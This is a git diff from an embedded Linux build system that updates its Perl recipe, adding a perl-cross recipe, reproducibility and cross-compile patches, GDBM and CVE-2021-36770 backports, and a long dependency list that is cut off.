@@ -3,7 +3,7 @@ From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Tue, 27 Nov 2018 15:37:40 +0100
Subject: [PATCH] perl-cross: add LDFLAGS when linking libperl
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://github.com/arsv/perl-cross/pull/122]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
Makefile | 2 +-
diff --git a/meta/recipes-devtools/perl-cross/files/README.md b/meta/recipes-devtools/perl-cross/files/README.md
new file mode 100644
index 0000000000..93217245c8
--- /dev/null
+++ b/meta/recipes-devtools/perl-cross/files/README.md
@@ -0,0 +1,29 @@
+**perl-cross** provides configure script, top-level Makefile
+and some auxiliary files for [perl](http://www.perl.org),
+with the primary emphasis on cross-compiling the source.
+
+ # Get perl and perl-cross sources
+ curl -L -O http://www.cpan.org/src/5.0/perl-5.24.1.tar.gz
+ curl -L -O https://github.com/arsv/perl-cross/releases/download/1.1.3/perl-cross-1.1.3.tar.gz
+
+ # Unpack perl-cross over perl, overwriting Makefile
+ tar -zxf perl-5.24.1.tar.gz
+ cd perl-5.24.1
+ tar --strip-components=1 -zxf ../perl-cross-1.1.3.tar.gz
+
+ # Proceed as usual with most autoconfed packages
+ ./configure --target=arm-linux-gnueabi --prefix=/usr -Duseshrplib
+ make -j4
+ make DESTDIR=/path/to/staging/dir install
+
+Unlike mainline Perl, this configure never runs any target executables,
+relying solely on compile/link tests and pre-defined hints.
+On the flip side, it is only meant to run on resonably sane modern unix systems.
+
+Check [project pages](http://arsv.github.io/perl-cross/) for more info.
+In particular, [configure usage](http://arsv.github.io/perl-cross/usage.html)
+lists available configure options.
+
+Perl-cross is a free software licensed under the same terms
+as the original perl source.
+See LICENSE, Copying and Artistic files.
diff --git a/meta/recipes-devtools/perl-cross/files/determinism.patch b/meta/recipes-devtools/perl-cross/files/determinism.patch
new file mode 100644
index 0000000000..e9bf752bcb
--- /dev/null
+++ b/meta/recipes-devtools/perl-cross/files/determinism.patch
@@ -0,0 +1,46 @@
+Fixes to make the perl build reproducible:
+
+a) Remove the \n from configure_attr.sh since it gets quoted differently depending on
+ whether the shell is bash or dash which can cause the test result to be incorrect.
+ Reported upstream: https://github.com/arsv/perl-cross/issues/87
+
+b) Sort the order of the module lists from configure_mods.sh since otherwise
+ the result isn't the same leading to makefile differences.
+ Reported upstream: https://github.com/arsv/perl-cross/issues/88
+
+c) Sort the Encode::Byte byte_t.fnm file output (and the makefile depends whilst
+ there for good measure)
+ This needs to go to upstream perl (not done)
+
+d) Use bash for perl-cross configure since otherwise trnl gets set to "\n" with bash
+ and "" with dash
+ Reported upstream: https://github.com/arsv/perl-cross/issues/87
+
+RP 2020/2/7
+
+Upstream-Status: Pending [75% submitted]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org
+
+Index: perl-5.30.1/cnf/configure_mods.sh
+===================================================================
+--- perl-5.30.1.orig/cnf/configure_mods.sh
++++ perl-5.30.1/cnf/configure_mods.sh
+@@ -82,7 +82,7 @@ extonlyif() {
+ }
+
+ definetrimspaces() {
+- v=`echo "$2" | sed -r -e 's/\s+/ /g' -e 's/^\s+//' -e 's/\s+$//'`
++ v=`echo "$2" | sed -r -e 's/\s+/ /g' -e 's/^\s+//' -e 's/\s+$//' | xargs -n1 | LANG=C sort | xargs`
+ define $1 "$v"
+ }
+
+Index: perl-5.30.1/cnf/configure
+===================================================================
+--- perl-5.30.1.orig/cnf/configure
++++ perl-5.30.1/cnf/configure
+@@ -1,4 +1,4 @@
+-#!/bin/sh
++#!/bin/bash
+
+ base=${0%/*}; test -z "$base" && base=.
+
diff --git a/meta/recipes-devtools/perl-cross/perlcross_1.3.6.bb b/meta/recipes-devtools/perl-cross/perlcross_1.3.6.bb
new file mode 100644
index 0000000000..75d5ea6d36
--- /dev/null
+++ b/meta/recipes-devtools/perl-cross/perlcross_1.3.6.bb
@@ -0,0 +1,41 @@
+SUMMARY = "Perl-cross build system"
+HOMEPAGE = "https://github.com/arsv/perl-cross"
+DESCRIPTION = "perl-cross provides configure script, top-level Makefile and some auxiliary files for perl, \
+with the primary emphasis on cross-compiling the source."
+SECTION = "devel"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
+# README.md is taken from https://github.com/arsv/perl-cross/blob/master/README.md
+# but is not provided inside the release tarballs
+LIC_FILES_CHKSUM = "file://${WORKDIR}/README.md;md5=252fcce2026b765fee1ad74d2fb07a3b"
+
+inherit allarch
+
+SRC_URI = "https://github.com/arsv/perl-cross/releases/download/${PV}/perl-cross-${PV}.tar.gz;name=perl-cross \
+ file://README.md \
+ file://0001-configure_tool.sh-do-not-quote-the-argument-to-comma.patch \
+ file://0001-perl-cross-add-LDFLAGS-when-linking-libperl.patch \
+ file://0001-configure_path.sh-do-not-hardcode-prefix-lib-as-libr.patch \
+ file://determinism.patch \
+ file://0001-cnf-configure_func_sel.sh-disable-thread_safe_nl_lan.patch \
+ file://0001-Makefile-check-the-file-if-patched-or-not.patch \
+ "
+UPSTREAM_CHECK_URI = "https://github.com/arsv/perl-cross/releases/"
+
+SRC_URI[perl-cross.sha256sum] = "4010f41870d64e3957b4b8ce70ebba10a7c4a3e86c5551acb4099c3fcbb37ce5"
+
+S = "${WORKDIR}/perl-cross-${PV}"
+
+do_configure () {
+}
+
+do_compile () {
+}
+
+do_install:class-native() {
+ mkdir -p ${D}/${datadir}/perl-cross/
+ cp -rf ${S}/* ${D}/${datadir}/perl-cross/
+ rm -rf ${D}/${datadir}/perl-cross/patches/
+}
+
+BBCLASSEXTEND = "native"
+
diff --git a/meta/recipes-devtools/perl/files/0001-CheckLib.pm-do-not-attempt-to-run-a-cross-executable.patch b/meta/recipes-devtools/perl/files/0001-CheckLib.pm-do-not-attempt-to-run-a-cross-executable.patch
new file mode 100644
index 0000000000..c5bbe7888e
--- /dev/null
+++ b/meta/recipes-devtools/perl/files/0001-CheckLib.pm-do-not-attempt-to-run-a-cross-executable.patch
@@ -0,0 +1,24 @@
+From a033c9ece12b6eead48eed63f106ccdec6159b0c Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Fri, 20 Dec 2019 16:26:55 +0100
+Subject: [PATCH] CheckLib.pm: do not attempt to run a cross executable
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ inc/Devel/CheckLib.pm | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/inc/Devel/CheckLib.pm b/inc/Devel/CheckLib.pm
+index 36a451a..b04acc1 100644
+--- a/inc/Devel/CheckLib.pm
++++ b/inc/Devel/CheckLib.pm
+@@ -330,7 +330,7 @@ sub assert_lib {
+ push @missing, $lib if $rv != 0 || !-x $exefile;
+ my $absexefile = File::Spec->rel2abs($exefile);
+ $absexefile = '"' . $absexefile . '"' if $absexefile =~ m/\s/;
+- push @wrongresult, $lib if $rv == 0 && -x $exefile && system($absexefile) != 0;
++ push @wrongresult, $lib if $rv == 0 && -x $exefile && 0 != 0;
+ unlink $ofile if -e $ofile;
+ _cleanup_exe($exefile);
+ }
diff --git a/meta/recipes-devtools/perl/files/0001-ExtUtils-MakeMaker-add-LDFLAGS-when-linking-binary-m.patch b/meta/recipes-devtools/perl/files/0001-ExtUtils-MakeMaker-add-LDFLAGS-when-linking-binary-m.patch
deleted file mode 100644
index 7d5c079b2d..0000000000
--- a/meta/recipes-devtools/perl/files/0001-ExtUtils-MakeMaker-add-LDFLAGS-when-linking-binary-m.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-From 2f74a899474f428a4a5368a94accf801c5f97ae4 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 4 Jun 2018 18:33:50 +0300
-Subject: [PATCH] ExtUtils-MakeMaker: add $(LDFLAGS) when linking binary
- modules
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Unix.pm | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Unix.pm b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Unix.pm
-index fe53be1..249c048 100644
---- a/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Unix.pm
-+++ b/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Unix.pm
-@@ -1050,7 +1050,7 @@ sub xs_make_dynamic_lib {
- }
-
- push @m, sprintf <<'MAKE', $ld_run_path_shell, $ldrun, $dlsyms_arg, $ldfrom, $self->xs_obj_opt('$@'), $libs, $exportlist;
-- %s$(LD) %s $(LDDLFLAGS) %s %s $(OTHERLDFLAGS) %s $(MYEXTLIB) \
-+ %s$(LD) %s $(LDDLFLAGS) %s %s $(LDFLAGS) $(OTHERLDFLAGS) %s $(MYEXTLIB) \
- $(PERL_ARCHIVE) %s $(PERL_ARCHIVE_AFTER) %s \
- $(INST_DYNAMIC_FIX)
- $(CHMOD) $(PERM_RWX) $@
diff --git a/meta/recipes-devtools/perl/files/0001-cpan-Sys-Syslog-Makefile.PL-Fix-_PATH_LOG-for-determ.patch b/meta/recipes-devtools/perl/files/0001-cpan-Sys-Syslog-Makefile.PL-Fix-_PATH_LOG-for-determ.patch
new file mode 100644
index 0000000000..63815d44fb
--- /dev/null
+++ b/meta/recipes-devtools/perl/files/0001-cpan-Sys-Syslog-Makefile.PL-Fix-_PATH_LOG-for-determ.patch
@@ -0,0 +1,36 @@
+From a73fff1fcf0def4ce93964f1b63fe3ad0967259d Mon Sep 17 00:00:00 2001
+From: Robert Yang <liezhi.yang@windriver.com>
+Date: Fri, 18 Feb 2022 09:44:26 +0000
+Subject: [PATCH] cpan/Sys-Syslog/Makefile.PL: Fix _PATH_LOG for deterministic
+
+It checks host's path such as /dev/log and uses it, this doesn't make sense for
+cross build, and it causes undeterministic, for example, the contianer os
+usually doesn't have /dev/log which leads to a different build result since
+other host usually has /dev/log, so make it always use the default value to fix
+the issue.
+
+Submitted a ticket to upstream: https://rt.cpan.org/Ticket/Display.html?id=141612
+
+Upstream-Status: Inappropriate [OE specific]
+
+Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
+---
+ cpan/Sys-Syslog/Makefile.PL | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/cpan/Sys-Syslog/Makefile.PL b/cpan/Sys-Syslog/Makefile.PL
+index d09ba69..d44e58c 100644
+--- a/cpan/Sys-Syslog/Makefile.PL
++++ b/cpan/Sys-Syslog/Makefile.PL
+@@ -130,6 +130,8 @@ else {
+ $_PATH_LOG = "";
+ }
+
++# OE specific
++$_PATH_LOG = "";
+
+ # if possible, generate the code that handles the constants with
+ # ExtUtils::Constant, otherwise use cached copy in fallback/
+--
+2.31.1
+
diff --git a/meta/recipes-devtools/perl/files/0001-enc2xs-Add-environment-variable-to-suppress-comments.patch b/meta/recipes-devtools/perl/files/0001-enc2xs-Add-environment-variable-to-suppress-comments.patch
deleted file mode 100644
index 3a41820f46..0000000000
--- a/meta/recipes-devtools/perl/files/0001-enc2xs-Add-environment-variable-to-suppress-comments.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From 31a2c5555f9ef32f35d7d5ce1fd09a010ba5f5c6 Mon Sep 17 00:00:00 2001
-From: Joshua Watt <JPEWhacker@gmail.com>
-Date: Mon, 17 Jun 2019 10:47:15 -0500
-Subject: [PATCH 1/2] enc2xs: Add environment variable to suppress comments
-
-Comment generation in enc2xs can now be suppressed by setting the
-ENC2XS_NO_COMMENTS environment variable. This allows enc2xs to produce
-reproducible output by omitting the name of the generating program.
-
-Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
-Upstream-Status: Accepted [https://github.com/dankogai/p5-encode/pull/145]
----
- cpan/Encode/bin/enc2xs | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/cpan/Encode/bin/enc2xs b/cpan/Encode/bin/enc2xs
-index 619b64b757..bfce9ee735 100644
---- a/cpan/Encode/bin/enc2xs
-+++ b/cpan/Encode/bin/enc2xs
-@@ -144,6 +144,7 @@ getopts('CM:SQqOo:f:n:v',\%opt);
- $opt{M} and make_makefile_pl($opt{M}, @ARGV);
- $opt{C} and make_configlocal_pm($opt{C}, @ARGV);
- $opt{v} ||= $ENV{ENC2XS_VERBOSE};
-+$opt{q} ||= $ENV{ENC2XS_NO_COMMENTS};
-
- sub verbose {
- print STDERR @_ if $opt{v};
---
-2.21.0
-
diff --git a/meta/recipes-devtools/perl/files/5bc1e5fdd87aa205011512cd1e6cc655bcf677fd.patch b/meta/recipes-devtools/perl/files/5bc1e5fdd87aa205011512cd1e6cc655bcf677fd.patch
new file mode 100644
index 0000000000..1cb65d932c
--- /dev/null
+++ b/meta/recipes-devtools/perl/files/5bc1e5fdd87aa205011512cd1e6cc655bcf677fd.patch
@@ -0,0 +1,31 @@
+From 5bc1e5fdd87aa205011512cd1e6cc655bcf677fd Mon Sep 17 00:00:00 2001
+From: Sergey Poznyakoff <gray@gnu.org>
+Date: Wed, 23 Jun 2021 15:31:42 +0300
+Subject: [PATCH] Fix definition of ITEM_NOT_FOUND for pre-1.13 versions.
+
+Upstream-Status: Backport
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ ext/GDBM_File/GDBM_File.xs | 9 +++++----
+ 1 file changed, 5 insertions(+), 4 deletions(-)
+
+diff --git a/ext/GDBM_File/GDBM_File.xs b/ext/GDBM_File/GDBM_File.xs
+index 494c2889ca89..0125b5dcac4d 100644
+--- a/ext/GDBM_File/GDBM_File.xs
++++ b/ext/GDBM_File/GDBM_File.xs
+@@ -145,10 +145,11 @@ output_datum(pTHX_ SV *arg, char *str, int size)
+ #define gdbm_setopt(db,optflag,optval,optlen) not_here("gdbm_setopt")
+ #endif
+
+-#if GDBM_VERSION_MAJOR == 1 && GDBM_VERSION_MINOR < 13
+-/* Prior to 1.13, gdbm_fetch family functions set gdbm_errno to GDBM_NO_ERROR
+- if the requested key did not exist */
+-# define ITEM_NOT_FOUND() (gdbm_errno == GDBM_NO_ERROR)
++#if GDBM_VERSION_MAJOR == 1 && GDBM_VERSION_MINOR < 13
++/* Prior to 1.13, only gdbm_fetch set GDBM_ITEM_NOT_FOUND if the requested
++ key did not exist. Other similar function wouls set GDBM_NO_ERROR instead.
++ The GDBM_ITEM_NOT_FOUND existeds as early as in 1.7.3 */
++# define ITEM_NOT_FOUND() (gdbm_errno == GDBM_NO_ERROR || gdbm_errno == GDBM_ITEM_NOT_FOUND)
+ #else
+ # define ITEM_NOT_FOUND() (gdbm_errno == GDBM_ITEM_NOT_FOUND)
+ #endif
diff --git a/meta/recipes-devtools/perl/files/CVE-2021-36770.patch b/meta/recipes-devtools/perl/files/CVE-2021-36770.patch
new file mode 100644
index 0000000000..1ef548b305
--- /dev/null
+++ b/meta/recipes-devtools/perl/files/CVE-2021-36770.patch
@@ -0,0 +1,40 @@
+Backport patch to fix CVE-2021-36770. And drop the section of code which
+updates version.
+
+Upstream-Status: Backport [https://github.com/Perl/perl5/commit/c1a937f]
+CVE: CVE-2021-36770
+
+Signed-off-by: Kai Kang <kai.kang@windriver.com>
+
+From c1a937fef07c061600a0078f4cb53fe9c2136bb9 Mon Sep 17 00:00:00 2001
+From: Ricardo Signes <rjbs@semiotic.systems>
+Date: Mon, 9 Aug 2021 08:14:05 -0400
+Subject: [PATCH] Encode.pm: apply a local patch for CVE-2021-36770
+
+I expect Encode to see a new release today.
+
+Without this fix, Encode::ConfigLocal can be loaded from a path relative
+to the current directory, because the || operator will evaluate @INC in
+scalar context, putting an integer as the only value in @INC.
+---
+ cpan/Encode/Encode.pm | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/cpan/Encode/Encode.pm b/cpan/Encode/Encode.pm
+index a56a99947f..b96a850416 100644
+--- a/cpan/Encode/Encode.pm
++++ b/cpan/Encode/Encode.pm
+@@ -65,8 +66,8 @@ require Encode::Config;
+ eval {
+ local $SIG{__DIE__};
+ local $SIG{__WARN__};
+- local @INC = @INC || ();
+- pop @INC if $INC[-1] eq '.';
++ local @INC = @INC;
++ pop @INC if @INC && $INC[-1] eq '.';
+ require Encode::ConfigLocal;
+ };
+
+--
+2.33.0
+
diff --git a/meta/recipes-devtools/perl/files/aacd2398e766500cb5d83c4d76b642fcf31d997a.patch b/meta/recipes-devtools/perl/files/aacd2398e766500cb5d83c4d76b642fcf31d997a.patch
new file mode 100644
index 0000000000..628903f41c
--- /dev/null
+++ b/meta/recipes-devtools/perl/files/aacd2398e766500cb5d83c4d76b642fcf31d997a.patch
@@ -0,0 +1,40 @@
+From aacd2398e766500cb5d83c4d76b642fcf31d997a Mon Sep 17 00:00:00 2001
+From: Sergey Poznyakoff <gray@gnu.org>
+Date: Wed, 23 Jun 2021 10:26:50 +0300
+Subject: [PATCH] Fix GDBM_File to compile with version 1.20 and earlier
+
+* ext/GDBM_File/GDBM_File.xs (ITEM_NOT_FOUND): Define conditionally,
+depending on the GDBM_VERSION_MAJOR and GDBM_VERSION_MINOR.
+Don't assume GDBM_ITEM_NOT_FOUND is a define (it isn't since
+gdbm commit d3e27957).
+
+Upstream-Status: Backport
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ ext/GDBM_File/GDBM_File.xs | 11 +++++------
+ 1 file changed, 5 insertions(+), 6 deletions(-)
+
+diff --git a/ext/GDBM_File/GDBM_File.xs b/ext/GDBM_File/GDBM_File.xs
+index cd0bb6f26ffa..494c2889ca89 100644
+--- a/ext/GDBM_File/GDBM_File.xs
++++ b/ext/GDBM_File/GDBM_File.xs
+@@ -145,14 +145,13 @@ output_datum(pTHX_ SV *arg, char *str, int size)
+ #define gdbm_setopt(db,optflag,optval,optlen) not_here("gdbm_setopt")
+ #endif
+
+-#ifndef GDBM_ITEM_NOT_FOUND
+-# define GDBM_ITEM_NOT_FOUND GDBM_NO_ERROR
+-#endif
+-
++#if GDBM_VERSION_MAJOR == 1 && GDBM_VERSION_MINOR < 13
+ /* Prior to 1.13, gdbm_fetch family functions set gdbm_errno to GDBM_NO_ERROR
+ if the requested key did not exist */
+-#define ITEM_NOT_FOUND() \
+- (gdbm_errno == GDBM_ITEM_NOT_FOUND || gdbm_errno == GDBM_NO_ERROR)
++# define ITEM_NOT_FOUND() (gdbm_errno == GDBM_NO_ERROR)
++#else
++# define ITEM_NOT_FOUND() (gdbm_errno == GDBM_ITEM_NOT_FOUND)
++#endif
+
+ #define CHECKDB(db) do { \
+ if (!db->dbp) { \
diff --git a/meta/recipes-devtools/perl/files/determinism.patch b/meta/recipes-devtools/perl/files/determinism.patch
new file mode 100644
index 0000000000..aa85ccef10
--- /dev/null
+++ b/meta/recipes-devtools/perl/files/determinism.patch
@@ -0,0 +1,45 @@
+Fixes to make the perl build reproducible:
+
+a) Remove the \n from configure_attr.sh since it gets quoted differently depending on
+ whether the shell is bash or dash which can cause the test result to be incorrect.
+ Reported upstream: https://github.com/arsv/perl-cross/issues/87
+
+b) Sort the order of the module lists from configure_mods.sh since otherwise
+ the result isn't the same leading to makefile differences.
+ Reported upstream: https://github.com/arsv/perl-cross/issues/88
+
+c) Sort the Encode::Byte byte_t.fnm file output (and the makefile depends whilst
+ there for good measure)
+ This needs to go to upstream perl (not done)
+
+d) Use bash for perl-cross configure since otherwise trnl gets set to "\n" with bash
+ and "" with dash
+ Reported upstream: https://github.com/arsv/perl-cross/issues/87
+
+RP 2020/2/7
+
+Upstream-Status: Pending [75% submitted]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org
+
+Index: perl-5.30.1/cpan/Encode/Byte/Makefile.PL
+===================================================================
+--- perl-5.30.1.orig/cpan/Encode/Byte/Makefile.PL
++++ perl-5.30.1/cpan/Encode/Byte/Makefile.PL
+@@ -171,7 +171,7 @@ sub postamble
+ my $lengthsofar = length($str);
+ my $continuator = '';
+ $str .= "$table.c : $enc2xs Makefile.PL";
+- foreach my $file (@{$tables{$table}})
++ foreach my $file (sort (@{$tables{$table}}))
+ {
+ $str .= $continuator.' '.$self->catfile($dir,$file);
+ if ( length($str)-$lengthsofar > 128*$numlines )
+@@ -189,7 +189,7 @@ sub postamble
+ qq{\n\t\$(PERL) $plib $enc2xs $ucopts -o \$\@ -f $table.fnm\n\n};
+ open (FILELIST, ">$table.fnm")
+ || die "Could not open $table.fnm: $!";
+- foreach my $file (@{$tables{$table}})
++ foreach my $file (sort (@{$tables{$table}}))
+ {
+ print FILELIST $self->catfile($dir,$file) . "\n";
+ }
diff --git a/meta/recipes-devtools/perl/files/ea57297a58b8f10ab885c19eec48ea076116cc1f.patch b/meta/recipes-devtools/perl/files/ea57297a58b8f10ab885c19eec48ea076116cc1f.patch
new file mode 100644
index 0000000000..3864f1a121
--- /dev/null
+++ b/meta/recipes-devtools/perl/files/ea57297a58b8f10ab885c19eec48ea076116cc1f.patch
@@ -0,0 +1,25 @@
+From ea57297a58b8f10ab885c19eec48ea076116cc1f Mon Sep 17 00:00:00 2001
+From: Sergey Poznyakoff <gray@gnu.org>
+Date: Wed, 23 Jun 2021 14:24:47 +0300
+Subject: [PATCH] Raise version number in ext/GDBM_File/GDBM_File.pm
+
+Upstream-Status: Backport
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
+---
+ ext/GDBM_File/GDBM_File.pm | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/ext/GDBM_File/GDBM_File.pm b/ext/GDBM_File/GDBM_File.pm
+index d837536f804c..cb08d091b829 100644
+--- a/ext/GDBM_File/GDBM_File.pm
++++ b/ext/GDBM_File/GDBM_File.pm
+@@ -363,7 +363,7 @@ require XSLoader;
+ );
+
+ # This module isn't dual life, so no need for dev version numbers.
+-$VERSION = '1.19';
++$VERSION = '1.20';
+
+ XSLoader::load();
+
diff --git a/meta/recipes-devtools/perl/files/encodefix.patch b/meta/recipes-devtools/perl/files/encodefix.patch
new file mode 100644
index 0000000000..396ed0d53e
--- /dev/null
+++ b/meta/recipes-devtools/perl/files/encodefix.patch
@@ -0,0 +1,20 @@
+The code is encoding host compiler parameters into target builds. Avoid
+this for our target builds (patch is target specific, not native)
+
+Upstream-Status: Inappropriate [Cross compile hack]
+RP 2020/2/18
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: perl-5.30.1/cpan/Encode/bin/enc2xs
+===================================================================
+--- perl-5.30.1.orig/cpan/Encode/bin/enc2xs
++++ perl-5.30.1/cpan/Encode/bin/enc2xs
+@@ -195,7 +195,7 @@ sub compiler_info {
+ # above becomes false.
+ my $sized = $declaration && !($compat && !$pedantic);
+
+- return ($cpp, $static, $sized);
++ return (0, 1, 1);
+ }
+
+
diff --git a/meta/recipes-devtools/perl/files/fix-setgroup.patch b/meta/recipes-devtools/perl/files/fix-setgroup.patch
deleted file mode 100644
index 2b490e6067..0000000000
--- a/meta/recipes-devtools/perl/files/fix-setgroup.patch
+++ /dev/null
@@ -1,49 +0,0 @@
-Test script to reproduce the problem:
-
-#!/usr/bin/env perl
-$) = "2 2";
-print $!;
-
-Result from perl 5.28 under strace:
-
-setgroups(1, [2]) = 0
-setresgid(-1, 2, -1) = 0
-
-Result from perl 5.30 under strace:
-
-setgroups(1, [-1]) = -1 EINVAL (Invalid argument)
-setresgid(-1, 2, -1) = 0
-
-Patch which broke this upstream:
-https://perl5.git.perl.org/perl.git/commitdiff/5d4a52b5c68a11bfc97c2e24806993b84a61eade
-
-Issue is that the new function changes the endptr to the end of the
-scanned number and needs to be reset to the end of the string for
-each iteration of the loop.
-
-[YOCTO #13391]
-
-RP
-2019/6/14
-Upstream-Status: Pending
-
-Index: perl-5.30.0/mg.c
-===================================================================
---- perl-5.30.0.orig/mg.c
-+++ perl-5.30.0/mg.c
-@@ -3179,6 +3256,7 @@ Perl_magic_set(pTHX_ SV *sv, MAGIC *mg)
- const char *p = SvPV_const(sv, len);
- Groups_t *gary = NULL;
- const char* endptr = p + len;
-+ const char* realend = p + len;
- UV uv;
- #ifdef _SC_NGROUPS_MAX
- int maxgrp = sysconf(_SC_NGROUPS_MAX);
-@@ -3209,6 +3287,7 @@ Perl_magic_set(pTHX_ SV *sv, MAGIC *mg)
- Newx(gary, i + 1, Groups_t);
- else
- Renew(gary, i + 1, Groups_t);
-+ endptr = realend;
- if (grok_atoUV(p, &uv, &endptr))
- gary[i] = (Groups_t)uv;
- else {
diff --git a/meta/recipes-devtools/perl/files/native-perlinc.patch b/meta/recipes-devtools/perl/files/native-perlinc.patch
index a2e1aefd41..20d7fe6060 100644
--- a/meta/recipes-devtools/perl/files/native-perlinc.patch
+++ b/meta/recipes-devtools/perl/files/native-perlinc.patch
@@ -1,4 +1,4 @@
-Upstream-Status:Inappropriate [embedded specific]
+Upstream-Status: Inappropriate [embedded specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
Index: perl-5.8.8/lib/ExtUtils/MM_Unix.pm
diff --git a/meta/recipes-devtools/perl/files/perl-configpm-switch.patch b/meta/recipes-devtools/perl/files/perl-configpm-switch.patch
index 3c2cecb8c1..80ce4a6de7 100644
--- a/meta/recipes-devtools/perl/files/perl-configpm-switch.patch
+++ b/meta/recipes-devtools/perl/files/perl-configpm-switch.patch
@@ -1,4 +1,4 @@
-From 7f313cac31c55cbe62a4d0cdfa8321cc05a8eb3a Mon Sep 17 00:00:00 2001
+From 5120acaa2be5787d9657f6b91bc8ee3c2d664fbe Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Sun, 27 May 2007 21:04:11 +0000
Subject: [PATCH] perl: 5.8.7 -> 5.8.8 (from OE)
@@ -20,7 +20,7 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 16 insertions(+), 2 deletions(-)
diff --git a/configpm b/configpm
-index 09c4a3b..6a0a680 100755
+index c8de8bf..204613c 100755
--- a/configpm
+++ b/configpm
@@ -687,7 +687,7 @@ sub FETCH {
diff --git a/meta/recipes-devtools/perl/files/perl-dynloader.patch b/meta/recipes-devtools/perl/files/perl-dynloader.patch
index 6bb832a426..b49e6e4066 100644
--- a/meta/recipes-devtools/perl/files/perl-dynloader.patch
+++ b/meta/recipes-devtools/perl/files/perl-dynloader.patch
@@ -1,4 +1,4 @@
-Upstream-Status:Inappropriate [embedded specific]
+Upstream-Status: Inappropriate [embedded specific]
Allow the location that .so files are searched for for dynamic
loading to be changed via an environment variable. This is to allow
diff --git a/meta/recipes-devtools/perl/files/perl-rdepends.txt b/meta/recipes-devtools/perl/files/perl-rdepends.txt
index 331a44d308..3415f32ab1 100644
--- a/meta/recipes-devtools/perl/files/perl-rdepends.txt
+++ b/meta/recipes-devtools/perl/files/perl-rdepends.txt
@@ -1,4467 +1,2321 @@
-RDEPENDS_perl-module-anydbm-file += "perl-module-strict"
-RDEPENDS_perl-module-anydbm-file += "perl-module-warnings"
-RDEPENDS_perl-module-app-cpan += "perl-module-config"
-RDEPENDS_perl-module-app-cpan += "perl-module-constant"
-RDEPENDS_perl-module-app-cpan += "perl-module-cpan"
-RDEPENDS_perl-module-app-cpan += "perl-module-cwd"
-RDEPENDS_perl-module-app-cpan += "perl-module-data-dumper"
-RDEPENDS_perl-module-app-cpan += "perl-module-file-basename"
-RDEPENDS_perl-module-app-cpan += "perl-module-file-find"
-RDEPENDS_perl-module-app-cpan += "perl-module-getopt-std"
-RDEPENDS_perl-module-app-cpan += "perl-module-if"
-RDEPENDS_perl-module-app-cpan += "perl-module-net-ping"
-RDEPENDS_perl-module-app-cpan += "perl-module-strict"
-RDEPENDS_perl-module-app-cpan += "perl-module-user-pwent"
-RDEPENDS_perl-module-app-cpan += "perl-module-vars"
-RDEPENDS_perl-module-app-cpan += "perl-module-warnings"
-RDEPENDS_perl-module-app-prove += "perl-module-app-prove-state"
-RDEPENDS_perl-module-app-prove += "perl-module-base"
-RDEPENDS_perl-module-app-prove += "perl-module-constant"
-RDEPENDS_perl-module-app-prove += "perl-module-getopt-long"
-RDEPENDS_perl-module-app-prove += "perl-module-strict"
-RDEPENDS_perl-module-app-prove += "perl-module-tap-harness"
-RDEPENDS_perl-module-app-prove += "perl-module-tap-harness-env"
-RDEPENDS_perl-module-app-prove += "perl-module-text-parsewords"
-RDEPENDS_perl-module-app-prove += "perl-module-warnings"
-RDEPENDS_perl-module-app-prove-state += "perl-module-app-prove-state-result"
-RDEPENDS_perl-module-app-prove-state += "perl-module-base"
-RDEPENDS_perl-module-app-prove-state += "perl-module-constant"
-RDEPENDS_perl-module-app-prove-state += "perl-module-file-find"
-RDEPENDS_perl-module-app-prove-state += "perl-module-strict"
-RDEPENDS_perl-module-app-prove-state += "perl-module-tap-parser-yamlish-reader"
-RDEPENDS_perl-module-app-prove-state += "perl-module-tap-parser-yamlish-writer"
-RDEPENDS_perl-module-app-prove-state += "perl-module-warnings"
-RDEPENDS_perl-module-app-prove-state-result += "perl-module-app-prove-state-result-test"
-RDEPENDS_perl-module-app-prove-state-result += "perl-module-constant"
-RDEPENDS_perl-module-app-prove-state-result += "perl-module-strict"
-RDEPENDS_perl-module-app-prove-state-result += "perl-module-warnings"
-RDEPENDS_perl-module-app-prove-state-result-test += "perl-module-strict"
-RDEPENDS_perl-module-app-prove-state-result-test += "perl-module-warnings"
-RDEPENDS_perl-module-archive-tar-constant += "perl-module-constant"
-RDEPENDS_perl-module-archive-tar-constant += "perl-module-exporter"
-RDEPENDS_perl-module-archive-tar-constant += "perl-module-io-compress-bzip2"
